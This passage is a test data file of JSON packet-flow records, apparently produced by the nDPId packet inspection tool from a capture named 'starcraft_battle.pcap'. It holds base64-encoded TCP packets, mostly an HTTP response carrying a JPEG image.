+02385{"flow_id":47,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":699,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":967624,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"IImEa8W6hCYVPnXECABFAAXcJ7xAADkGIQAC5C5wwKgBZABQDcngMQWEcUlh71AQAeryRQAA4ptPNUCJKvMpTmFAC3QRaNKUzUW8SWiGnlpOpcxI930VeA6NQnTOprSDum5Rwrq4yPbxpm6xHpDjEadvO2BetPGOWC8fU9pBFbnG7Rxke3ixbq2vSHGIObzyn+kTxiELxMtF0EaZBvsa2362bxtN0DqFbu9TeadTvDfZcoApNeoiigCB8wpm35LQ4lLifJVMWawRO1Jlzh3CCFBJA9fWMPSW26hLifJVMd8G21J0jviRAIMae1\/a7m081Nkx7bd7eQ3dbcqQhW4sgELbUSN9pYNUqG0ZGigQDsmztuoBS4QhxPlJJFmog2YknzVabQQFBSQblW9DD6TjUlK02KExYeA6QbwdPAZgTFjVNmy++sWn9Hb9vGiTUs+mnjEXaM6pz+cTxjlgwxquygj76xf2Q38LBbb7Ppp4xBKM3Y+kT0hyxGdRXu3Wm5x9fWWe1JmW1gsaltDMhBNxtYO+SEAnefjHeca6SCtHuwRQZu0hlwVjKkkpElpvxomDYEzJWi0oEjOakgArmKHOq9unWKxlYUUiS0hQ5yL7BPykWqTrGJPnWWnbtaadmRo0yLeob0aUhLkd9MlvdWhQqCM8aimqqd1IWhxJSQCDMWg3GNaxnFOtIUlxJBtFoiRR9WWQ0HyrFJ\/vhv28FJLPpp4xBjeYMH84njEHouqLMrZdIfbWS0NvhVh3zPpp4xBHtbPpp44g0LUFq0hzQcQLrETp3mogu\/2QhSIuoLcylKiopqEiXEbTSpACmffOZ5EBuir7FDZ1HgdQn\/vtp4Ep2XpLjMIqmqOtsUNm+NdziR\/30DgE0a1RfES\/2A\/Xb9Cbp5O7JaPr+MnGtJb0EcYjWmrb0KHHEji37TR3fwjh0\/ozX2XHYUHSOOJUVSDpHHEjiXrTBI3tRRDTZ8cz1f0THYEnVxxOl5OiXHFeci7tpq0x+Yuip16itfM3VN2TawiQyhBt15Ui8Rt1KlHxUC4FrbSqD4MUeSqxbVvGVqQ4oFSvvpOJSk4jNKEOJQLvJ8kCUZjdVQa21MnANm6q46HDtQZWS8vDqJSTwDoyNddGKp9\/448MuP7eLvYngjXhSvvfDBpi46LOR1BGFeqXHP08IGFcEPClcHhiG84pujV8nuazUe8sPSXNN3wR0ecsKUV+ZPgJABzqSNmfVi0yNhXtLRs8tPjEZnfQrOX1M5S2Ln9gw95XztENcr+WjKrvGS5HsNnS6BLZG+UxGQagqy2dFMDZqwsvOEkWqPetMT7slZo2SCJFtEuiIkki56K3lbt+jIFTRHnUfLs8quAvZ1cEXmJQvl4YDS7tosqKk3yKgH3KZjFB9Uon2ccGCLyIYCoWTEc5c8Ltpi7nlnoiNeYzyNYaptSrrvSGFJTAsRXeXiaHLeNvQ3n77FLnTLK9m0+Tz3E4SmVi0TdTiJ835sgyBJuEvKGT3pdKywwFIBW6m++Tc3SQNMygJ1DEDwGxpd70sFKpqCKlB8kF9knZ1hfXnsxebNPBxxpS6ALxxxHJN803n+EUM\/05r7JhClGsccQqqU6xxwDkX\/Tef4RQ\/wBWa+yYacA0jjiBVWjWOOKJl3yz6v5opX8sRVab5VoqwpUhCG5WobiwQSPGorzOI6R0gqeOxTeMicFZX2kbOn8Lq0948xtXCkl3WiMmaxurrLVDAzw3uKHe8hB7k160xOZOpbOCR8rQlDoUJTVP5oY182fTEaf2xn0xxxHpGq7Ln99Ivh84R8LHEM+mnjERKrGR56eMRHblrbTsGLJmy73EYiw0KckvGQiiEIFSTQ9GB6iop2kla3EhIBJMxYBaT3oCfzanbSVKcSABM2iKt03fIF1nSNeXyezFnXVkM6ds7z6EqttrUQtKVIKvFfkEJcd6RRCM9ypz2UtNvKNW8UhREkCZmlF4BCpSUq9YwpI5qTPADGUyasafWax5YClCSUkjmIv6S7FK1c1PmzM="} +00426{"flow_id":48,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":714,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":978215,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"IImEa8W6hCYVPnXECABFAAAoRDRAADkGCjwC5C5wwKgBZABQDcrPCIDPdHCAbFAQAepnuwAAAAAAAAAA"} +02382{"flow_id":48,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":715,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":979961,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"IImEa8W6hCYVPnXECABFAAXcRDVAADkGBIcC5C5wwKgBZABQDcrPCIDPdHCAbFAQAerRkQAASFRUUC8xLjEgMjAwIE9LDQpMYXN0LU1vZGlmaWVkOiBGcmksIDEyIEp1biAyMDE1IDE3OjAyOjA3IEdNVA0KU2VydmVyOiBBcGFjaGUNClgtRnJhbWUtT3B0aW9uczogU0FNRU9SSUdJTg0KQWNjZXB0LVJhbmdlczogYnl0ZXMNCkNvbnRlbnQtTGVuZ3RoOiA1Mzk1OQ0KQ29udGVudC1UeXBlOiBpbWFnZS9qcGVnDQpDYWNoZS1Db250cm9sOiBtYXgtYWdlPTY3NDgxDQpFeHBpcmVzOiBUdWUsIDIxIEp1bCAyMDE1IDA1OjQ0OjI2IEdNVA0KRGF0ZTogTW9uLCAyMCBKdWwgMjAxNSAxMDo1OTo0NSBHTVQNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K\/9j\/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP\/sABFEdWNreQABAAQAAABQAAD\/4QNvaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu+7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI\/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjMtYzAxMSA2Ni4xNDU2NjEsIDIwMTIvMDIvMDYtMTQ6NTY6MjcgICAgICAgICI+IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI+IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcE1NPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvbW0vIiB4bWxuczpzdFJlZj0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL3NUeXBlL1Jlc291cmNlUmVmIyIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6QUU3QUY1QUNBNzI3RTMxMUI5NTQ5NDQyRjk2MzI2QzYiIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6OTU2MTAxNjVDODFGMTFFNDk5RTlEQTMwNTFCNjBBQzAiIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6OTU2MTAxNjRDODFGMTFFNDk5RTlEQTMwNTFCNjBBQzAiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNiAoV2luZG93cykiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDpFRUYwRDFGMjFEQzhFNDExQTA0MUUyQ0M0QkU2QTg0QiIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDoyNjlGQjE3NUMxMzcxMUU0QkRBOUVENEE0QjUzRUFCRiIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI\/Pv\/uACZBZG9iZQBkwAAAAAEDABUEAwYKDQAALd4AAFPqAACFewAA0sX\/2wCEAAICAgICAgICAgIDAgICAwQDAgIDBAUEBAQEBAUGBQUFBQUFBgYHBwgHBwYJCQoKCQkMDAwMDAwMDAwMDAwMDAwBAwMDBQQFCQYGCQ0LCQsNDw4ODg4PDwwMDAwMDw8MDAwMDAwPDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDP\/CABEIANkBrgMBEQACEQEDEQH\/xAEFAAACAgMBAQEAAAAAAAAAAAAEBQMGAgc="} +02385{"flow_id":48,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":716,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":980082,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"IImEa8W6hCYVPnXECABFAAXcRDZAADkGBIYC5C5wwKgBZABQDcrPCIaDdHCAbFAQAeqowQAACAEACQEAAgMBAQEAAAAAAAAAAAAAAQIAAwQFBgcQAAEDBAEDBAIBAwQDAQEAAAEAAgMREgQFECETBiAxIhQwMhVAQSMzNDUHJCUWQjYRAAECAwQGBQgGCAQGAgMAAAECAwARBCExQRJRYSIyEwUQcYGRQqGxwdFSIzMUIGJygpJDosLSU3MkNBUw8OGyQPFjk0QGoyWzdDUSAAAEAwYEBQUBAQAAAAAAAAABESEQIDEwQFBBAhJhcaEiUYGRwdHwseHxMmIDEwEAAgIBAwMEAwEBAAAAAAABABEhMUFRYXEQgZHwobHRIMHh8TD\/2gAMAwEAAhEDEQAAAeVt+gwr9al1uz19H2jzOtJh21hq69fnql1CW7MfeCbBtbqcfXnN6NYyaTjMAA2DTVnluqquTS9vUh1HEzUs5bYWZ6lvzpes2nSfb87KytmBtiOSTirIhzA0DNUORKq0LLIschAiAhqwiMOjj1kZCMjQo0fC6bq2hpcl13ZKpQ978p63Xkz\/AKB5M+j6dnBXoOX4wP0V706nN7Kq5nKWftc1ZNh7SMsuKXbrc7qLo8TTnM6mh8vRKdA4CSrJx17wex1BhTgn0+N9LaB2uIR0cL51ehTawzodyQYUc0O\/y24yVrdWj0qquiZirDg2xVS6PDetocKthK2ERhfPdu9X0GulUMWKbTzelasund3OnKG6qk7shjzZHTydidHzvRvmOxzd1q+D8HYLMxcgMN5eo870TRgZ4Nv5wZuzkyeOosrYXV3lLer+J0tTdfIl25JuvyOt\/HdaDRUUAcjaz9Lxdo+d6x1cIUnVXLNVJVDiNBHCfXVqn0fN235HtUnqZuXPR85Bh0r6nX1OGjJPNejaWJbbqa8piBV5rhqngQsEtLMbX19Gep8p2J5682ptadfk6DXta3y9ekY9C95tD1HC6sy8i4czpfmQetT4pLp89ZttbG2t0wZOjO2q7dHH1H43q0ruc84S5cvVRPQcrY3n+mPfRnFb57at0cSDZTfuH2Nbeg5lC7GPcnje9rj0GHYfmupzz6zlahpsUZ7QK3DrZT5r0TeyDRSSDVYGl11TEoz+nQ1cNOpz+1er5Pd3ne4j1c1bfisuLv6S7qaf5fU1Fl0vPQcfpXTxb\/y9nBdfW07XZgyH3UTX1uLEbOjNofdTduhi6e8f1Ne+j5hyy88jWg6WO4cnYt2ZZoJ0NT25UWobO4HW1h6LmeK+xPN9RRsrnz2oNVfK\/qOch5+mCtsFah+T9GW8JMJBnqYVHzqsNots9Vr2Rx6Hh9tP5+8cvra47HkrzzPRsKdnBvdG\/wDTwOe\/Pe2f+k4d5182mZ9lx5WvhajcK9c99DC1G11bZ1a2VS2JZ9mPd\/JuMinCFKKr1MN55WttS5tdvkOv+ngrmmq64NdD7GOxc7ZR+pm1v0KcCdxeY6mlOpn11S4FLr0ZZ5T0xbiYlnW+av8AV2OM9r3Ne2UuYLP2eV2Jo865za9X9zxm1OF7WRX\/ACv7NW0O35vZXmvZy9bDLZTqejR21yqvzOfqUcpHfQ1sj1gysV6UhsQm+gjRQVZUxlbdAcEcBbBUXed4mCqwprAj0oqYrGZSHVV2L4wjQSp1lLgqM4yzy3oWUhoLdLpUsPrdxnttOaxood2Leuhm6K1+anU686\/lNlcX19c00\/nn2a7DZT1Lg6Ar22OYdAZ+x0yvM4+bfz4bFNlDRXekk2IxZW7AMj50guz43UNQGkLtQ\/VmlYjZVFsUOFLRYSHGVhg1YJWBQxKSmGMitWg8x226uQCzW0yux3TYwossua0tI0sX3r87snX52Jqdc9ngbV4PpeD+1i0TN2+8m1bty7t5PV2Nv4ybn9LRd6a9l+k0dZYjIqdC0cHOvrCBh40herC6pjIXIxhbyGwCkLrFFIiBCBXQhiDqRkaFJ8pnIXgqVNk812DozyEyu6ZLDKn+Q3M="} +00418{"flow_id":48,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":717,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":980095,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoLQRAAIAG2mvAqAFkAuQucA3KAFB0cIBszwiMN1AQAQBdPQAA"} +02397{"flow_id":48,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":718,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":980212,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"IImEa8W6hCYVPnXECABFAAXcRDdAADkGBIUC5C5wwKgBZABQDcrPCIw3dHCAbFAQAepStAAAptZUWvJNK+q8x+kT8qU5KRp7KSrN+Z97HrZ2zwu\/L0MoWa1NQ4dqc0d3h2nndelxFrTBlZElskli\/MvzQGwfGuYwppPJOYXJkwkJGZPIBpIBA5BBIEI6wZT9AYQuVgVF98x2WYZgru0uLRxiCwXVVtryaKz1+Vzf6Pzf655qSDTpHy\/0I05+Y\/RcHTGrLesW3e2Lp5tWpRYnHPvpOHYCRuR1KzGXvWUyy2L6wxY4FRi3jpnBPJKwyMzM8YSGYkYyYgQQQKRRBkESSCQciKGKTETZ\/mesYrsQ7ZXIRwgXyWbLx77Dmt5I9v4Uov8Ap5bxkGHsa28x62Tr87hD0nnLlCnxbNi87pbcxa119azr83m3Rlguq27z+hSK9CC2mK6s0z4qoY+Q+kQOs8EpGDLgwwYYkSyZSYEYiYiYoQ4IAIVEBA7CEnAT4Tc3musWrSK8ysQGIV7Lnv2Ji6DKs84+48Rc\/O+n3D6jx+tOT2t3cLs8afQfDp817mt6M6XbNs6I893VN1emPUcFFzdltqvZdDFXud0U7rHZXLYpEgsIcIrLNbXmyjCQsmRMTKO6eySSfCfA+KcVIZWNZ4BAwHdYwIIZVO4fP9JhVbilkwLJWbra2ptYo76u3SnrvI9DeL9gnavm\/wBr5bfPmu3X9OXSXoOH0jRZyo67FL7s876JH2udqQDYeK6pXCw9fna95fUIaRwYMsTj0ESQV58y5WUgOnkn0nhETrgZ7B4J8D8J4CJFkRiEYxSMwiETW0I7a91ec68iOQjnBmS2N4LKjk1WFbsXKfU5fbfkPWFo3P8A0+VpX0HDulGt4hoG7DYqr5c+tH2uPVsGvoji9Z\/YtDvrK7XLQ8zrQESk\/RRCRGA4PgkLqvurGsq8i5g4k+MsomDAdkxE+EjEa59GQAbKnsqwdBSqt6oFO6vP9jBYOCwWx+HfSPs+hjW6LucTQTjvbyXaZU1SCc0dt9uc7oJ9PP1R6vhauoXpHh+iRyUDTj684V4Fj6h3jRfsPLXzkdk7FrKh1\/uzYA+sFkkUEDwGyuFkzK5w\/QywfGRFVtleUkMXEQYr4D8BCVlWDmCFGAN\/4fVhijkHK9jWxvRo2pztlxpNZ7\/H5I3ZehuH0ltixvJIF7ocraq7fNGy2bMyaVjBVcnsdvXYUy6w9Dw+vfHerrsms9+eka6CUYVp9APB4YntrGcFAZGCMBXrmIkIgi4ERgQwDwTAzAglBGrjEdk7D5\/ZCxVwkKGTYfO37l5e+u6KNM9fma56XOs\/QxQ8vqVPViHAIh8UyQ4kbUXVrxs6RqyoZGgxBBZoTYmYbXmY8fq7y4vT2Vh16h6mXVPSxCAyg5wCOFjqwYQECPIGrjKZSTFYgF7pFF9EmDZwgxFD1GsNu87u1umyWrCK9XVfm++pJ5L9Bw6du5pryYzZFjV7LfVtGQQp9JlD8Z6Zt6rZKs1FqwyqzlL\/AGT0Txpe00V7ZiV1WArNi87qdT+f641qc4dzlDRoQyZwMwlMdMo1taIEMpOJZ9tfti0nKkRQMAhHwhjAKuq2vh7VPz6BIqazi7x5XW2Fzujx56ry601kyZEyQWGyoB2BiwMJCciMiRQNr4OlcMuzUXY4gJWzVaRpMUIbAhSjtq+rsljRrNn4d\/Q\/E7eje7w6hbW0DwAoC0ZgxDJxaLqaWpUQZxT3Ez1omprpQ6t8A1gtXa2Pq07FuDKAMi2zi9k+X9R7Jx36\/wAqliHBh5FtlSdVsVrMCSnnzD2Q6FDQ11za968b0HN\/q\/IRSTLY9rtlpdGAsixQ\/AzxoSu7OT2OpuF0OQ\/S8ek35yxa+hFIrDKjYHLbY7qrnpo1rndLB9BGyAPVDAall0uW6Y+pSceqZTLAHfkop5m\/OZ2ej+B2+N\/Z+Tq+rEWGGIrKqysGJDCE1msxss9V0tb1SozbM23fPej196TzxNbALMUisEBZArI="} +02397{"flow_id":48,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":719,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":980330,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"IImEa8W6hCYVPnXECABFAAXcRDhAADkGBIQC5C5wwKgBZABQDcrPCJHrdHCAbFAQAep8dgAAuH0qAy2zPq6x8z6HV+\/Lovr8WFj7GciOJKa0r1tXkhK2P76LdatBpKpT0X5\/r89+g44dlW3ta587qUjHoKVzyEOrnqrK65RQSBtvLt6X43Y1h08Gku5yK2tTIWOrSqsqmMZh7UtrIylZ1piKVtp2Dl2xbMzOq7Ct8Ug4gIauJE0W1CzefK6Nmw79D9fla90ZcmOMYkq9SRMVYf2MFZUcGr5GxtmWoUNJmv6c870+VPWcTb+xaNzugpzXuK7R78sdlKmCqmoBaJopULZW2Xn2W3DrJaJerhrWzL89fobEEliXJTcbKLaLRrrkrsbs0Ct5W\/ySCEii+187VLn2EPVrrVnpenJA64qZozEO6VcCcGL+rTQLcyW2q11Xo7K75qpp1UIqZ\/atl2JrPm7Z6r3ldi6\/IWGkU0OzP4QqGeMr8IYT7FwiGC28122+jTLapzGyx0uvNrjPJM1lM2YtirpTqux7LTKLa26ZUWMst6hqaBoRFbn9kzYyRojJJGitYKmiMhsIbJfM+3V9mau35Tlse2IPbSkVg4tusas5dDaq9qZI6G12TKapZT9GLruo13K+ZMIIpMJMiJyCFYmElXKDGI0smKOQrxFJw30mcgrpHJgQOw8EwhwIjJnjEAkMWUDtJ9Xo2Bg2666vOrrI2Wy25N1jWx2tmmupwqLKwiByp6XOadkltD5bWVOgNGUMiC7K8p1ilbLmr1N0eZmyRyRSYA5ESQyyElswZFcsMWjEgzKcZI4IoIoMTIyB2T4GcHOGaNNCTC8aMVj3HrsmTWj156JpoxBIVrBVesepDpyomrHgDYFo7JbWQtsNdw4sXgTSJbM4L1t6dITLtbhdRV1uJozoc\/Jq45IifBJo0oM5aRTPCSCQpIV\/gZIMJMCMUOLCOSFqo4ZQSw05aeFhJYZDYEObWqKYxpgc43gGcKzVkGjYMBYq0pYa74bKtxYOxqnVme5tUTLFK1llAD1uKNdb0Yv\/2gAIAQEAAQUCDirgU6KJ61Gmx9hHNjzY02JH2dZj7D6c2RFJkTzQ5utyJzcXC5sT3SRWknQ+ONzJd9iHF28TegaiEQsXFjmjm0eT23gpiqpnm2gUZc2QMlypfrZOPIJjItfDBnMiiqWx9ex0ZDQtiTYimwFRwPAbA8puI8h2J0fjtCfCnREIsKLUQiODVFEqvVpYVHBjvEeJr5Fom4jMnyvPx83O2jYxFrcKTcbHT+OYGtg\/7IZr4sN5qQFjxf4vFtNBsFoNFHhw\/wDZWoEO6iZUWrt9HMWJj2Q+OYRmXnPj0OM5n60qpm\/MJnv\/ANcY2G5+w0mDn4+\/0ztJsfHY79lkwxnMhxxVmHc5uuam4cSbjxBCBtG46ZjAiPF6S4gpJjUT8aqfjUT8eqOOQjj1UkBCcxFiNUS9XvriusMBUuHBmN\/8jBf27Vrt06LE1O6i1Gdk\/wDZsIh3W7y91OGJkTpHYOvMzvE9S3GLQGN8\/hbLjQsVisToqrWYpZNoITAzf4zMjXFoCAUrL2t6poK1G0yNXk4n\/YUXa3W2O7yPumCDSx02gfKhmxL7cSr3G7PFjgnxy8Y\/eDUJ2ITMUDh3nOKJkRe4LLkriaXCMuRfKt3hHPw5WItKcE4FU6x\/JQ5E0J\/kYO2y1zxc9FoRarU2JOiIWIOvjWDHJNhYzYGyyALZ4jdlHP4JjRz7fxrN1MnYKfF01c9zNOLY8wMONt8Z+Jnd1wTZQuhITEwLqmDpp+mxa6jh4\/hhfwWGoIm48W1k7uRB0x5sGDIkbr8dqZiQUlniaHywSCO3sblt2T2pFjwfVx9xsnxZkczZmeQ6\/wCnlSFyLk5xVevWrCHBoBIFUf1cy1EKOOpbCUIekONfn+O6uPFZRZdKa6Ckk+NFkMyM7GObv\/Hjrnvxwtdh1bo3utyslsWL5njSjbFnUsQ6RhijamMKarDXU\/8AJMHya3ydWeQ="} +00419{"flow_id":48,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":720,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":980340,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoLQVAAIAG2mrAqAFkAuQucA3KAFB0cIBszwiXn1AQAQBR1QAA"} +02393{"flow_id":48,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":721,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":980459,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"IImEa8W6hCYVPnXECABFAAXcRDlAADkGBIMC5C5wwKgBZABQDcrPCJefdHCAbFAQAeoyeAAAixRkiDcsuUAIx8hmyMzI9lSzYUnbYnMcRECMfdtuytJiODxeU7W4rizGEMexwW7DElgxw52Njr6cDj\/GMVLUwFp6EgBMThee1VRxFpiiXaqo4HHZ6iMsx1nz3T4zbYlutmZNxHkRbDBzcPsy62G1jp2YcGmznbPaeY6OHJ08jKJwXS1gqomoMKhi62ku1sjIMtvkGuK\/ndehusBfzOEszMOXLFs8VsTM\/GcvuQJ2ZCBlvE0jvaPbYrINplMyJotxrYYdxs2ZpLlFkOgk\/wDp9aRu5MTMzHQSp2PMuzLWFULE0JrVaSrFHHUY+M94bFRQMqfrf5dcB2JDRkrrsxv6ryHYGHyXxvf4metjikuxIh293A7+K8fpHP2xlYW3wTgZxcvZQpiD1+rA9NXeLSJ0MmiE5evsGsc1yZIQmzEh+QQH5Lin5NA\/IuTpqAzp8pTpXORfRd9wTsl6OTKvtSBffdVocDaU1qtCtCbGwmODrDA4IYhccbDka6HAkLcVtsE3+nDETls\/XcZZwtc3x3MctT45sjnTY0DmQ6uSNr8D7GLPqMrX5WomEuF5pr5I9vLiTo30jFpagaFh6kxRsjdROcKlybMmTlNnco5ZasyshqZsH0fsOj8xjk\/JCdPVGeifMCDKjKjIjI1BwUb8YqQ6xf8Ar72EhN+QCYeg9xbRktzovZoDjX5TbSbVyYbmvxs0kRYUhkyo6Bv\/AGN5PHk5TJ47YpsnxvUYWJl48keX9d2Jl40i8lwcOXC8Z8lixNh5RuYtvkyIKtDHIa3hCei7q73UzLvJr7j3rU3IKZkvCZnzBfyM5D8skHIRlIXfTpejpEZEZEXq4IAOX1Q5PxpAu1Lc1qaKJkQIEdXNV66sfBP8YXCjGErybZSHP1Lrtbm\/6eBl4LJ9\/wCQTYIyZZhlRSgrOxIdhkw5mKwyzOyGvcbnTTPOsyJMB+y182JM6NtLeoJpH7Eq5XIEkucQpHOqHIK5CRCRCRGVGRCSq7lEXouRci5XFXJtHn6lU5kzF3ZLgowAmdSxq7bV0afg5QY9yGP08mz5ddi3uy8nRyd3UZTuljIzDBJKvqYGZ5Fmwsw8vUeQ7GQaXZfYTRNY\/uX\/AKlxZikZjpocjFfFI+L5WroqdOiqwKpCcm0QHUFVVVeu4u4rlciUSiieCUUeKqpVoCampjqLu1T31OLCboIGhNjavNdrLnbzH0eZFkaukOt2eXGIwQsoNZi9x80m1wI8XGblSY79PsJp82SV8z7W37h38ZqtdFBlS7HCy9fmOzYs3VzRp8bUA1NCki6kUVCi1UXSlteTVVVVVVVeCjweD6I62Bty7VqHsGJsNFjRm6I2gPFdjrwzbYOjldqdt54zC13heVlTYuO6MP3213Wbs9ZA3OO1wcrXRF7mDS5DYNo5\/R7ys3YHH22HqM2POdisyYRD2MCeYlWXkMCIIQ6B0bXIjgI0t\/VE0dVHivpIRVFRURAXxXyco4ZJWR2vTHtKJuIUdQRQKOVoXfDViyfZW5yvubfHbZDnayHJZl7vI1ubieWePZr\/ACzL0suF4rk48Wf\/ANkZnc2mh1+Zu80eM5GjncHWZGfj4OOJP5abGw4MSLdPOE7JbFBrupc0mjhRWolBParEBRO7bB0KIVEQVQ81VeKIqvxGLM+GHWzT4WPiY8uJhvwI4MbPnwmXFW9O65NcmFXdI47ljMZI6fFx2rGmjx3TukbNEwshAK8z8alyJdrqH+PNHh21yIsrxGXW5A+5sc+OPRY+V5Jo9jkPbufINJFs9XkYcmk8fysTW9uRq8la\/wDjcOYZofC5NbGF8V2405gJcwhV4Ps5H390UGVRbanY87WNglkFKcVRKmlxDg\/f\/wDXNzchmJcWtHtSqcqIkNR6qtEyTpj1cTPRY0bnB7RTJwpf4ySKQ72DB7WVBFCHNyYjiavRbGHZxCKM+TQ\/yms="} +02393{"flow_id":48,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":722,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389985,"pkt_ts_usec":980673,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"IImEa8W6hCYVPnXECABFAAXcRDpAADkGBIIC5C5wwKgBZABQDcrPCJ1TdHCAbFAQAerEwwAAczbNytT45jM2O8j10mPBt9VHsj4m6T7JfDlu+tDnSb\/Vd3TaHLkhfnRls2gkxIc3fPxMjKdReyuqniiqnJy6IcNf23ZOTJmzy5E8sMOTkYzeSiUPQSiFHhSy4pNT1RUDCS7IZAsRmdkQY2vzY4nRYGBJtdrgw6jLyJMfcz+ax5UT\/KJJnfzzHIbSFyfnxNLNnCraQePyfObOhX8lFa7aw3f\/AEHaMfmEjYtv5eNtgaFo7L\/4nJkyfG2rL0+1bKHq5F1EHByLaIgJ\/U1QPxqCX+6Dq8OKKqiVVBUT+i7iL6LXYMmznfPhSSURU0jGLB8d2OWzD0Wu0w2Pmmt10mV53sXTv2eXkLTOMpzms\/lXZZahnNcvtBfcC+4Ecty8f7c8GxxzgvbJK5NfKr3IltW1CjdV2ruiG0knbssPyvbYsev8zwsxsuDg7NZ3jU0Qka9hFa1ovcOAR94o3SIsdG5zk\/4mq+TlY6hTirlVNNEXqQ1TjRYWJPscmc4+JBf1lzImLHZPnT6jx+HTR7jynD0Qzt3sc5NuemtaFReL\/wDObOR\/23sL1arVRWqxeLhzZNxguabE1zmLt1XaBAgCudG7UUm2ua7uZLmtc3rEdfuczBGs3OLt4NrqWZ0UsIiPbjKe3tp7lVD3ZmfGXCuA+TXi1NdRQS3KZwo9tVZbG1yqqolYWBkbLIP1tTA51OIBV2m8bGdG7W7\/ABMd7PsyOAyJSxBqL4oR4zmsxvJtnPFNtBZaGIseC1tRYnm1eNNacHa9JodbPNmwx4\/dAx5GHsKsIT5IbdLlRx7R5eybuL92wG5njcGxmzptfmZizcc4Ul9FHICMjEAbaq0RcoZbHvjjzFkwzY8ivKbN1mgEEuSf8Jc5qvC7q1uuy9tNNkQYEHQBy63Qua1njDonavy0Zp00TGNdjj\/JYU9to+veGuLXxxgoQsCdj\/LsSVbFI5fTy6fQzHHTtn12XssNk2uyZO9kta1yMYCjw8R7TiQLJZCxRwCx0b3OEau7bMYLxLDc\/YPdJDHtsxuRmGT5slUM7mnJhY